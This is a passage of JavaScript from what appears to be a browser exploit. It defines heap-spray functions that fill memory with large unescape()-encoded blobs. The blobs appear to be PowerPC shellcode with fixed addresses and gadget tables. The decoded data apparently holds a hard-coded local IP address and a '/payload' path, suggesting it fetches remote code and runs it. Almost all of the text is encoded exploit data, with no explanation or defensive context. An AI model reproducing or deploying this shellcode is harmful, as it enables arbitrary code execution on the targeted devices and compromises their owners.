for(var i = 0; i < 32; i++){
|
||||
if(n & 0x1)
|
||||
res += pow2str(i, b);
|
||||
n >>= 1;
|
||||
}
|
||||
//flatten
|
||||
res[0];
|
||||
return res;
|
||||
}
|
||||
|
||||
function sprayInc(n) {
|
||||
var str = unescape("%u0102%u4dd8%u0000%u0004%u1b20%u18b4%u0104%u21ec%u1b20%u1850%u0103%ucdd4%u0000%u0018%u1b20%u1b2c%u0000%u0020%u0103%ucd8c%u0000%u0028%u1003%uaaac%u0000%u0030%u0102%u4dd8%u0d8f%u502c%u0104%u1614");
|
||||
str += unescape("%u1b20%u1850%u0103%ucd8c%u0000%u0048%u1003%uaab0%u0000%u0050%u0102%u4dd8%u1b20%u1b20%u0000%u005c%u0000%u0060%u0103%ucd8c%u0000%u0068%u0000%u006c%u0000%u0070%u0102%u4dd8%u0000%u0001%u0000%u007c");
|
||||
str += unescape("%u0000%u0080%u0104%u1174%u0000%u0088%u0000%u008c%u0000%u0090%u1b20%u1820%u0000%u0098%u0101%ucd44%u0102%u4dd8%u0000%u00a4%u0000%u0000%u0103%u70c0%u0000%u0000%u0103%ucdd4%u0000%u00b8%u1b20%u18c0");
|
||||
str += unescape("%u0000%u00c0%u0101%ucd44%u0000%u00c8%u1b20%u1908%u0000%u00d0%u0102%u4d8c%u0180%u0000%u1b20%u1b80%u0000%u0200%u0000%u00e4%u0101%ucd44%u1b20%u190c%u0000%u00f0%u0103%u5a6c%u0000%u0000%u1b20%u1934");
|
||||
str += unescape("%u0000%u0100%u0102%u4d8c%u0180%u0000%u0000%u0200%u0000%u0110%u0000%u0114%u0101%ucd44%u1b20%u193c%u0102%u3ee8%u0000%u0000%u0000%u0128%u1b20%u1964%u0000%u0130%u0102%u4d8c%u0180%u0000%u0000%u0200");
|
||||
str += unescape("%u0000%u0140%u0000%u0144%u0101%ucd44%u1b20%u196c%u0102%u4010%u0000%u0000%u0000%u0158%u1b20%u18c0%u0000%u0160%u0102%u4dd8%u0000%u0001%u0000%u016c%u0000%u0170%u0101%ucd44%u0000%u0178%u0000%u017c");
|
||||
str += unescape("%u0000%u0180%u0180%u0000%u0000%u0188%u0000%u018c%u0000%u4000%u0000%u7ffc%u0000%u0198%u0000%u019c%u0000%u01a0%u0000%u01a4%u0000%u01a8%u0000%u01ac%u0000%u01b0%u0000%u01b4%u0000%u01b8%u0000%u01bc");
|
||||
str += unescape("%u0000%u01c0%u0000%u01c4%u0000%u01c8%u0000%u01cc%u0000%u01d0%u0000%u01d4%u0000%u01d8%u0000%u01dc%u0000%u01e0%u0000%u01e4%u0000%u01e8%u0000%u01ec%u0000%u01f0%u0000%u01f4%u0000%u01f8%u0000%u01fc");
|
||||
str += unescape("%u0000%u0200%u0000%u0204%u0000%u0208%u0000%u020c%u0000%u0210%u0000%u0214%u0000%u0218%u0000%u021c%u0000%u0220%u0000%u0224%u0000%u0228%u0000%u022c%u0000%u0230%u0000%u0234%u0000%u0238%u0000%u023c");
|
||||
str += unescape("%u0000%u0240%u0000%u0244%u0000%u0248%u0000%u024c%u0000%u0250%u0000%u0254%u0000%u0258%u0000%u025c%u0000%u0260%u0000%u0264%u0000%u0268%u0000%u026c%u0000%u0270%u0000%u0274%u0000%u0278%u0000%u027c");
|
||||
str += unescape("%u0000%u0280%u0000%u0284%u0000%u0288%u0000%u028c%u0000%u0290%u0000%u0294%u0000%u0298%u0000%u029c%u0000%u02a0%u0000%u02a4%u0000%u02a8%u0000%u02ac%u0000%u02b0%u0000%u02b4%u0000%u02b8%u0000%u02bc");
|
||||
str += unescape("%u0000%u02c0%u0000%u02c4%u0000%u02c8%u0000%u02cc%u0000%u02d0%u0000%u02d4%u0000%u02d8%u0000%u02dc%u0000%u02e0%u0000%u02e4%u0000%u02e8%u0000%u02ec%u0000%u02f0%u0000%u02f4%u0000%u02f8%u0000%u02fc");
|
||||
str += unescape("%u0000%u0300%u0000%u0304%u0000%u0308%u0000%u0000%u1b20%u1b28%u0104%u3528%u1b20%u1814%u1b20%u1ad8%u0101%ucd50%u0000%u0324%u0000%u0328%u0000%u032c%u0000%u0330%u0000%u0334%u0000%u0338%u0000%u033c");
|
||||
str += unescape("%u0000%u0340%u0000%u0344%u0000%u0348%u0000%u034c%u0000%u0350%u0000%u0354%u0000%u0358%u0000%u035c%u0000%u0360%u0000%u0364%u1b20%u1b28%u9421%ue000%u7c3f%u0b78%u3d20%u1003%u6129%uaaac%u913f%u000c");
|
||||
str += unescape("%u813f%u000c%u3929%u0004%u3940%u0000%u9149%u0000%u8149%u0000%u813f%u000c%u9149%u0000%u3d20%u1b20%u6129%u1814%u913f%u0010%u3d20%u0103%u6129%u5a6c%u807f%u0010%u3d40%u1b20%u6144%u2814%u38a0%u05c0");
|
||||
str += unescape("%u7d29%u03a6%u4e80%u0421%u3d20%u1b20%u6129%u1814%u913f%u0008%u4800%u006c%u813f%u0008%u8149%u0000%u3d20%ucafe%u6129%ucafe%u7f8a%u4800%u409e%u0048%u813f%u0008%u3929%u4000%u8149%u0000%u813f%u0010");
|
||||
str += unescape("%u3929%u0190%u8129%u0000%u7f8a%u4840%u409e%u0028%u813f%u0008%u3929%u7ffc%u8149%u0000%u813f%u0010%u3929%u0194%u8129%u0000%u7f8a%u4840%u409e%u0008%u4800%u0024%u813f%u0008%u3929%u0004%u913f%u0008");
|
||||
str += unescape("%u815f%u0008%u3d20%u1fff%u6129%uffff%u7f8a%u4840%u409d%uff88%u815f%u0008%u3d20%u2000%u7f8a%u4800%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u018c%u7d29%u03a6%u4e80%u0421%u813f%u0010");
|
||||
str += unescape("%u3929%u0318%u815f%u0010%u394a%u00a0%u9149%u0000%u813f%u0010%u3929%u00dc%u815f%u0008%u394a%u0004%u9149%u0000%u813f%u0010%u3929%u00e0%u3940%u0000%u614a%u8000%u9149%u0000%u3d20%u0d8f%u6129%u502c");
|
||||
str += unescape("%u3d40%u1b20%u6143%u1b20%u7d29%u03a6%u4e80%u0421%u397f%u0020%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u436f%u6465%u206e%u6f74%u2066%u6f75%u6e64%u0020%u436f%u6465%u206e%u6f74");
|
||||
str += unescape("%u2066%u6f75%u6e64%u0000%u0000%u0508%u0000%u050c%u0000%u0510%u0000%u0514%u0000%u0518%u0000%u051c%u0000%u0520%u0000%u0524%u0000%u0528%u0000%u052c%u0000%u0530%u0000%u0534%u0000%u0538%u0000%u053c");
|
||||
str += unescape("%u0000%u0540%u0000%u0544%u0000%u0548%u0000%u054c%u0000%u0550%u0000%u0554%u0000%u0558%u0000%u055c%u0000%u0560%u0000%u0564%u0000%u0568%u0000%u056c%u0000%u0570%u0000%u0574%u0000%u0578%u0000%u057c");
|
||||
str += unescape("%u0000%u0580%u0000%u0584%u0000%u0588%u0000%u058c%u0000%u0590%u0000%u0594%u0000%u0598%u0000%u059c%u0000%u05a0%u0000%u05a4%u0000%u05a8%u0000%u05ac%u0000%u05b0%u0000%u05b4%u0000%u05b8%u0000%u05bc");
|
||||
|
||||
var h1 = [];
|
||||
h1[0] = str.substring(0, str.length);
|
||||
|
||||
for (i = 1; i <= n; i++)
|
||||
h1[i] = unescape(h1[0]);
|
||||
|
||||
return h1;
|
||||
}
|
||||
|
||||
function sprayCode(n) {
|
||||
var str = unescape("%ucafe%ucafe%u9421%uff60%u7c08%u02a6%u9001%u00a4%u93e1%u009c%u7c3f%u0b78%u3c20%u1ab5%u6021%ud138%u3d20%u0101%u6129%uf510%u3c60%ua000%u7d29%u03a6%u4e80%u0421%u7c6a%u1b78%u3d20%u3100%u7f8a%u4800");
|
||||
str += unescape("%u419e%u0020%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1900%u7d29%u03a6%u4e80%u0421%u4800%u04d0%u395f%u0024%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u190c%u7d44%u5378%u7d29%u03a6%u4e80%u0421");
|
||||
str += unescape("%u813f%u0024%u913f%u006c%u811f%u0024%u395f%u0028%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1918%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0028%u395f%u0054%u7d43%u5378");
|
||||
str += unescape("%u3880%u0000%u38a0%u003c%u7d29%u03a6%u4e80%u0421%u813f%u0028%u913f%u0070%u3920%u0000%u913f%u002c%u811f%u0024%u395f%u002c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0001%u3d00%u0180%u38a8%u1920");
|
||||
str += unescape("%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u002c%u8129%u0000%u913f%u0074%u811f%u0024%u395f%u002c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0001%u3d00%u0180%u38a8%u193c%u7d46%u5378%u7d29%u03a6");
|
||||
str += unescape("%u4e80%u0421%u813f%u002c%u8129%u0000%u913f%u0078%u811f%u0024%u395f%u0030%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1954%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0024");
|
||||
str += unescape("%u395f%u0034%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u195c%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0024%u395f%u0038%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000");
|
||||
str += unescape("%u3d00%u0180%u38a8%u1968%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0024%u395f%u003c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u197c%u7d46%u5378%u7d29%u03a6%u4e80%u0421");
|
||||
str += unescape("%u811f%u0024%u395f%u0040%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1990%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0030%u7d29%u03a6%u4e80%u0421%u907f%u000c%u813f%u003c");
|
||||
str += unescape("%u3860%u0100%u3880%u0040%u7d29%u03a6%u4e80%u0421%u907f%u0010%u813f%u0028%u807f%u0010%u3880%u0000%u38a0%u0100%u7d29%u03a6%u4e80%u0421%u813f%u0038%u807f%u000c%u809f%u0010%u38a0%u0003%u38c0%u0000");
|
||||
str += unescape("%u38e0%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0034%u807f%u000c%u7d29%u03a6%u4e80%u0421%u813f%u0040%u807f%u0010%u7d29%u03a6%u4e80%u0421%u3d20%u1fff%u6129%uffff%u913f%u0008%u6000%u0000%u813f%u0008");
|
||||
str += unescape("%u3949%uffff%u915f%u0008%u2f89%u0000%u409e%ufff0%u811f%u0024%u395f%u0044%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u19a0%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0024");
|
||||
str += unescape("%u395f%u0048%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u19b0%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0024%u395f%u004c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000");
|
||||
str += unescape("%u3d00%u0180%u38a8%u19c0%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0074%u3860%u2000%u3880%u0020%u7d29%u03a6%u4e80%u0421%u907f%u0014%u813f%u0074%u3860%u06a0%u3880%u0008%u7d29%u03a6%u4e80%u0421");
|
||||
str += unescape("%u907f%u0018%u813f%u0018%u2f89%u0000%u419e%u0010%u813f%u0014%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u19d8%u7d29%u03a6%u4e80%u0421%u817f%u0044%u813f%u0014%u3929%u2000");
|
||||
str += unescape("%u395f%u0054%u807f%u0018%u3d00%u0180%u3888%u0e6c%u38a0%u0001%u7d46%u5378%u7d27%u4b78%u3900%u2000%u3920%u0000%u3940%u001a%u7d69%u03a6%u4e80%u0421%u907f%u001c%u813f%u001c%u2f89%u0000%u409e%u001c");
|
||||
str += unescape("%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u19fc%u7d29%u03a6%u4e80%u0421%u813f%u0048%u807f%u0018%u7d29%u03a6%u4e80%u0421%u3920%u0000%u913f%u0050%u815f%u0024%u393f%u0050%u7d43%u5378%u7d24%u4b78");
|
||||
str += unescape("%u4800%u0115%u907f%u0020%u4800%u0024%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u6000%u0000%u813f%u004c%u807f%u0018%u7d29%u03a6%u4e80%u0421%u7c69%u1b78");
|
||||
str += unescape("%u2f89%u0000%u419e%uffc8%u813f%u0078%u807f%u0018%u7d29%u03a6%u4e80%u0421%u813f%u0078%u807f%u0014%u7d29%u03a6%u4e80%u0421%u813f%u0020%u2f89%u0000%u419e%u001c%u393f%u0054%u7d23%u4b78%u4800%u0fc9");
|
||||
str += unescape("%u3d20%ua11e%u815f%u0050%u9149%u0000%u813f%u0054%u2f89%u0000%u419e%u0018%u813f%u0078%u815f%u0054%u7d43%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0058%u2f89%u0000%u419e%u0018%u813f%u0078%u815f%u0058");
|
||||
str += unescape("%u7d43%u5378%u7d29%u03a6%u4e80%u0421%u813f%u005c%u2f89%u0000%u419e%u0018%u813f%u0078%u815f%u005c%u7d43%u5378%u7d29%u03a6%u4e80%u0421%u3d20%u0101%u6129%ucd70%u7d29%u03a6%u4e80%u0421%u397f%u00a0");
|
||||
str += unescape("%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u9421%ufe98%u7c08%u02a6%u9001%u016c%u93e1%u0164%u7c3f%u0b78%u907f%u0158%u909f%u015c%u395f%u0028%u3d20%u0102%u6129%ub790%u807f%u0158");
|
||||
str += unescape("%u3880%u0000%u3d00%u0180%u38a8%u1a14%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u395f%u002c%u3d20%u0102%u6129%ub790%u807f%u0158%u3880%u0000%u3d00%u0180%u38a8%u1a24%u7d46%u5378%u7d29%u03a6%u4e80%u0421");
|
||||
str += unescape("%u395f%u0030%u3d20%u0102%u6129%ub790%u807f%u0158%u3880%u0000%u3d00%u0180%u38a8%u1a3c%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u395f%u0034%u3d20%u0102%u6129%ub790%u807f%u0158%u3880%u0000%u3d00%u0180");
|
||||
str += unescape("%u38a8%u1a50%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u395f%u0038%u3d20%u0102%u6129%ub790%u807f%u0158%u3880%u0000%u3d00%u0180%u38a8%u1a68%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u395f%u003c%u3d20%u0102");
|
||||
str += unescape("%u6129%ub790%u807f%u0158%u3880%u0000%u3d00%u0180%u38a8%u1a80%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u3d20%uc0a8%u6129%u0102%u913f%u0040%u3920%u0000%u913f%u0014%u3920%u0000%u913f%u0018%u3920%u0000");
|
||||
str += unescape("%u913f%u001c%u813f%u0028%u7d29%u03a6%u4e80%u0421%u813f%u002c%u3860%u0000%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0014%u813f%u002c%u3860%u0001%u7d29%u03a6%u4e80%u0421%u7c69%u1b78%u913f%u0018");
|
||||
str += unescape("%u813f%u0030%u3860%u0000%u3c80%uf400%u7d29%u03a6%u4e80%u0421%u813f%u0030%u815f%u0014%u3d4a%uf400%u3860%u0001%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0034%u3860%u0000%u809f%u001c%u7d29%u03a6");
|
||||
str += unescape("%u4e80%u0421%u813f%u0034%u3860%u0001%u809f%u001c%u7d29%u03a6%u4e80%u0421%u815f%u0014%u3d20%u0102%u6129%u3ee8%u3c60%uf400%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0014%u3d09%uf400%u815f%u0018");
|
||||
str += unescape("%u3d20%u0102%u6129%u3ee8%u7d03%u4378%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0038%u3860%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0038%u3860%u0001%u7d29%u03a6%u4e80%u0421%u395f%u0094%u3d20%u0102");
|
||||
str += unescape("%u6129%ua31c%u3d00%u0180%u3868%u1a94%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u0094%u395f%u0098%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1aa0%u7d46%u5378%u7d29%u03a6");
|
||||
str += unescape("%u4e80%u0421%u3920%u0003%u993f%u0008%u3920%u0001%u993f%u0009%u813f%u0098%u391f%u00a0%u395f%u009c%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u3920%u0001%u913f%u0020");
|
||||
str += unescape("%u3920%u0000%u913f%u000c%u3920%u0000%u913f%u0010%u813f%u003c%u3860%u0001%u3880%u000e%u38a0%u0001%u3d40%u0180%u38ca%u1aac%u7d29%u03a6%u4e80%u0421%u893f%u0040%u5529%u063e%u7d27%u4b78%u893f%u0041");
|
||||
str += unescape("%u5529%u063e%u7d28%u4b78%u893f%u0042%u5529%u063e%u895f%u0043%u554a%u063e%u38df%u0044%u3ca0%u0102%u60ab%uf09c%u7cc3%u3378%u3880%u0050%u3cc0%u0180%u38a6%u1ad0%u3cc0%u0180%u38c6%u1ae8%u7d69%u03a6");
|
||||
str += unescape("%u4cc6%u3182%u4e80%u0421%u813f%u003c%u395f%u0044%u3860%u0001%u3880%u0000%u38a0%u0005%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u003c%u3860%u0001%u3880%u0000%u38a0%u0006%u3d40%u0180%u38ca%u1af8");
|
||||
str += unescape("%u7d29%u03a6%u4e80%u0421%u813f%u003c%u3860%u0001%u3880%u002a%u38a0%u0011%u3d40%u0180%u38ca%u1b18%u7d29%u03a6%u4e80%u0421%u893f%u0008%u5529%u103a%u5529%u063e%u3929%u000f%u993f%u0024%u813f%u003c");
|
||||
str += unescape("%u895f%u0024%u554a%u063e%u3860%u0001%u7d44%u5378%u38a0%u0004%u3d40%u0180%u38ca%u1b30%u7d29%u03a6%u4e80%u0421%u893f%u0009%u5529%u063e%u2f89%u0000%u419e%u0028%u813f%u0038%u3860%u0001%u7d29%u03a6");
|
||||
str += unescape("%u4e80%u0421%u813f%u0034%u3860%u0001%u3880%u0000%u7d29%u03a6%u4e80%u0421%u813f%u0098%u391f%u00a0%u395f%u009c%u3860%u0000%u7d04%u4378%u38a0%u0001%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u00a4");
|
||||
str += unescape("%u5529%u07bc%u2f89%u0000%u419e%u0010%u3920%u0000%u913f%u000c%u4800%u01e0%u813f%u00a4%u5529%u0420%u2f89%u0000%u419e%u001c%u815f%u0040%u813f%u015c%u9149%u0000%u3920%u0001%u913f%u000c%u4800%u01b8");
|
||||
str += unescape("%u813f%u00a4%u5529%u0528%u2f89%u0000%u419e%u003c%u893f%u0008%u5529%u063e%u2f89%u0000%u409e%u0014%u3920%u0003%u993f%u0008%u3920%u0003%u4800%u0018%u893f%u0008%u3929%uffff%u993f%u0008%u893f%u0008");
|
||||
str += unescape("%u5529%u063e%u993f%u0008%u813f%u00a4%u5529%u056a%u2f89%u0000%u419e%u001c%u893f%u0008%u3929%u0001%u993f%u0008%u893f%u0008%u5529%u07be%u993f%u0008%u813f%u00a0%u5529%u05ac%u2f89%u0000%u409e%u0014");
|
||||
str += unescape("%u813f%u00a4%u5529%u05ac%u2f89%u0000%u419e%u0070%u813f%u0010%u3929%uffff%u913f%u0010%u813f%u0010%u2f89%u0000%u419d%u0054%u893f%u0008%u5529%u063e%u395f%u0008%u7d4a%u4a14%u894a%u0038%u554a%u063e");
|
||||
str += unescape("%u394a%u0001%u554a%u063e%u391f%u0008%u7d28%u4a14%u9949%u0038%u813f%u00a4%u5529%u05ac%u2f89%u0000%u419e%u000c%u3920%u001e%u4800%u0008%u3920%u0003%u913f%u0010%u4800%u009c%u4800%u0098%u813f%u00a0");
|
||||
str += unescape("%u5529%u05ee%u2f89%u0000%u409e%u0014%u813f%u00a4%u5529%u05ee%u2f89%u0000%u419e%u0070%u813f%u0010%u3929%uffff%u913f%u0010%u813f%u0010%u2f89%u0000%u419d%u0054%u893f%u0008%u5529%u063e%u395f%u0008");
|
||||
str += unescape("%u7d4a%u4a14%u894a%u0038%u554a%u063e%u394a%uffff%u554a%u063e%u391f%u0008%u7d28%u4a14%u9949%u0038%u813f%u00a4%u5529%u05ee%u2f89%u0000%u419e%u000c%u3920%u001e%u4800%u0008%u3920%u0003%u913f%u0010");
|
||||
str += unescape("%u4800%u0010%u4800%u000c%u3920%u0000%u913f%u0010%u813f%u00a0%u5529%u052e%u2f89%u0000%u7d20%u0026%u5529%ufffe%u6929%u0001%u5529%u063e%u993f%u0009%u4bff%ufca0%u813f%u000c%u7d23%u4b78%u397f%u0168");
|
||||
str += unescape("%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u9421%uffd0%u7c08%u02a6%u9001%u0034%u93e1%u002c%u7c3f%u0b78%u907f%u0018%u909f%u001c%u90bf%u0020%u90df%u0024%u813f%u0024%u913f%u0008");
|
||||
str += unescape("%u815f%u001c%u813f%u0020%u7d2a%u49d6%u913f%u000c%u4800%u0098%u813f%u0008%u8129%u0000%u2f89%u0000%u419e%u0020%u813f%u0008%u8129%u0010%u815f%u0008%u814a%u0000%u7d43%u5378%u7d29%u03a6%u4e80%u0421");
|
||||
str += unescape("%u813f%u0008%u8129%u0008%u3d49%u0002%u813f%u0008%u9149%u0008%u813f%u0008%u8129%u000c%u815f%u0008%u814a%u0008%u7d43%u5378%u3880%u0020%u7d29%u03a6%u4e80%u0421%u7c6a%u1b78%u813f%u0008%u9149%u0000");
|
||||
str += unescape("%u813f%u0008%u8129%u0000%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1b34%u7d29%u03a6%u4e80%u0421%u813f%u0008%u8149%u0004%u813f%u000c%u7d4a%u4a14%u813f%u0008%u8129%u0008");
|
||||
str += unescape("%u7f8a%u4800%u419d%uff50%u813f%u0008%u8149%u0000%u813f%u0008%u8129%u0004%u7d4a%u4a14%u3d20%u0103%u6129%u5a6c%u7d43%u5378%u809f%u0018%u80bf%u000c%u7d29%u03a6%u4e80%u0421%u813f%u0008%u8149%u0004");
|
||||
str += unescape("%u813f%u000c%u7d4a%u4a14%u813f%u0008%u9149%u0004%u813f%u000c%u7d23%u4b78%u397f%u0030%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u9421%uffc0%u7c08%u02a6%u9001%u0044%u93e1%u003c");
|
||||
str += unescape("%u7c3f%u0b78%u907f%u0028%u909f%u002c%u90bf%u0030%u90df%u0034%u813f%u0028%u8129%u0020%u913f%u0018%u813f%u0028%u8129%u0024%u913f%u001c%u3920%u0000%u913f%u000c%u3920%u0000%u913f%u0010%u3920%u0000");
|
||||
str += unescape("%u913f%u0014%u813f%u0028%u8129%u002c%u807f%u002c%u3880%u2712%u80bf%u0030%u7d29%u03a6%u4e80%u0421%u813f%u0028%u8129%u002c%u807f%u002c%u3880%u4e2b%u3d40%u0180%u38aa%u0b90%u7d29%u03a6%u4e80%u0421");
|
||||
str += unescape("%u813f%u0028%u8129%u002c%u395f%u000c%u807f%u002c%u3880%u2711%u7d45%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0028%u8129%u0030%u807f%u002c%u7d29%u03a6%u4e80%u0421%u907f%u0008%u813f%u0008%u2f89%u0000");
|
||||
str += unescape("%u419e%u0018%u3d20%u0103%u6129%u1368%u807f%u0030%u7d29%u03a6%u4e80%u0421%u813f%u0010%u2f89%u0000%u409e%u0018%u3d20%u0103%u6129%u1368%u807f%u0030%u7d29%u03a6%u4e80%u0421%u3920%u0194%u913f%u0020");
|
||||
str += unescape("%u813f%u0028%u8129%u0034%u395f%u0020%u807f%u002c%u3d00%u0020%u6104%u0002%u7d45%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0020%u2f89%u00c8%u419e%u0018%u3d20%u0103%u6129%u1368%u807f%u0030%u7d29%u03a6");
|
||||
str += unescape("%u4e80%u0421%u815f%u000c%u813f%u0034%u9149%u0000%u813f%u0010%u7d23%u4b78%u397f%u0040%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u9421%uff48%u7c08%u02a6%u9001%u00bc%u93e1%u00b4");
|
||||
str += unescape("%u7c3f%u0b78%u907f%u00a8%u909f%u00ac%u813f%u00ac%u913f%u0018%u3920%u0000%u913f%u0008%u3d20%u1a00%u913f%u000c%u4800%u00a0%u813f%u000c%u8149%u0000%u3d20%u2f70%u6129%u6179%u7f8a%u4800%u409e%u007c");
|
||||
str += unescape("%u813f%u000c%u3929%u0004%u8149%u0000%u3d20%u6c6f%u6129%u6164%u7f8a%u4800%u409e%u0060%u813f%u000c%u913f%u0008%u4800%u0010%u813f%u0008%u3929%uffff%u913f%u0008%u813f%u0008%u8929%u0000%u5529%u063e");
|
||||
str += unescape("%u2f89%u0000%u409e%uffe4%u813f%u0008%u3929%u0001%u913f%u0008%u813f%u0008%u8149%u0000%u3d20%u6874%u6129%u7470%u7f8a%u4800%u409e%u0008%u4800%u002c%u3920%u0000%u913f%u0008%u813f%u000c%u3929%u0001");
|
||||
str += unescape("%u913f%u000c%u815f%u000c%u3d20%u1fff%u6129%uffff%u7f8a%u4840%u409d%uff54%u813f%u0008%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1b50%u7d29%u03a6%u4e80%u0421%u395f%u00a0");
|
||||
str += unescape("%u3d20%u0102%u6129%ua31c%u3d00%u0180%u3868%u1b60%u7d44%u5378%u7d29%u03a6%u4e80%u0421%u811f%u00a0%u813f%u0018%u3949%u0028%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1b6c");
|
||||
str += unescape("%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u00a0%u813f%u0018%u3949%u002c%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1b7c%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u00a0");
|
||||
str += unescape("%u813f%u0018%u3949%u0030%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1b90%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u00a0%u813f%u0018%u3949%u0034%u3d20%u0102%u6129%ub790");
|
||||
str += unescape("%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1ba4%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u811f%u00a0%u813f%u0018%u3949%u0038%u3d20%u0102%u6129%ub790%u7d03%u4378%u3880%u0000%u3d00%u0180%u38a8%u1bb8");
|
||||
str += unescape("%u7d46%u5378%u7d29%u03a6%u4e80%u0421%u813f%u0018%u8129%u0028%u7d29%u03a6%u4e80%u0421%u907f%u001c%u813f%u001c%u2f89%u0000%u409e%u001c%u3d20%u0103%u6129%u1368%u3d40%u0180%u386a%u1bcc%u7d29%u03a6");
|
||||
str += unescape("%u4e80%u0421%u813f%u0008%u913f%u0010%u393f%u0020%u913f%u0014%u4800%u0028%u813f%u0014%u3949%u0001%u915f%u0014%u815f%u0010%u390a%u0001%u911f%u0010%u894a%u0000%u554a%u063e%u9949%u0000%u813f%u0010");
|
||||
str += unescape("%u8929%u0000%u5529%u063e%u2f89%u0000%u409e%uffcc%u813f%u0014%u3940%u0000%u9949%u0000%u4800%u0010%u813f%u0014%u3929%uffff%u913f%u0014%u813f%u0014%u8929%u0000%u5529%u063e%u2b89%u002f%u409e%uffe4");
|
||||
str += unescape("%u813f%u0014%u3949%u0001%u3d20%u0103%u6129%u5a6c%u7d43%u5378%u3d40%u0180%u388a%u1be0%u38a0%u000f%u7d29%u03a6%u4e80%u0421%u813f%u0018%u3929%u0008%u395f%u0020%u807f%u0018%u809f%u001c%u7d45%u5378");
|
||||
str += unescape("%u7d26%u4b78%u4bff%ufb6d%u7c6a%u1b78%u813f%u0018%u9149%u0014%u813f%u0018%u8129%u0038%u807f%u001c%u7d29%u03a6%u4e80%u0421%u397f%u00b8%u800b%u0004%u7c08%u03a6%u83eb%ufffc%u7d61%u5b78%u4e80%u0020");
|
||||
str += unescape("%u9421%uffe8%u93e1%u0014%u7c3f%u0b78%u907f%u0008%u909f%u000c%u4800%u0044%u813f%u0008%u8929%u0000%u552a%u063e%u813f%u000c%u8929%u0000%u5529%u063e%u7f8a%u4840%u419e%u000c%u3920%uffff%u4800%u0070");
|
||||
str += unescape("%u813f%u0008%u3929%u0001%u913f%u0008%u813f%u000c%u3929%u0001%u913f%u000c%u813f%u0008%u8929%u0000%u5529%u063e%u2f89%u0000%u419e%u0018%u813f%u000c%u8929%u0000%u5529%u063e%u2f89%u0000%u409e%uff9c");
|
||||
str += unescape("%u813f%u0008%u8929%u0000%u552a%u063e%u813f%u000c%u8929%u0000%u5529%u063e%u7f8a%u4840%u419e%u000c%u3920%uffff%u4800%u0008%u3920%u0000%u7d23%u4b78%u397f%u0018%u83eb%ufffc%u7d61%u5b78%u4e80%u0020");
|
||||
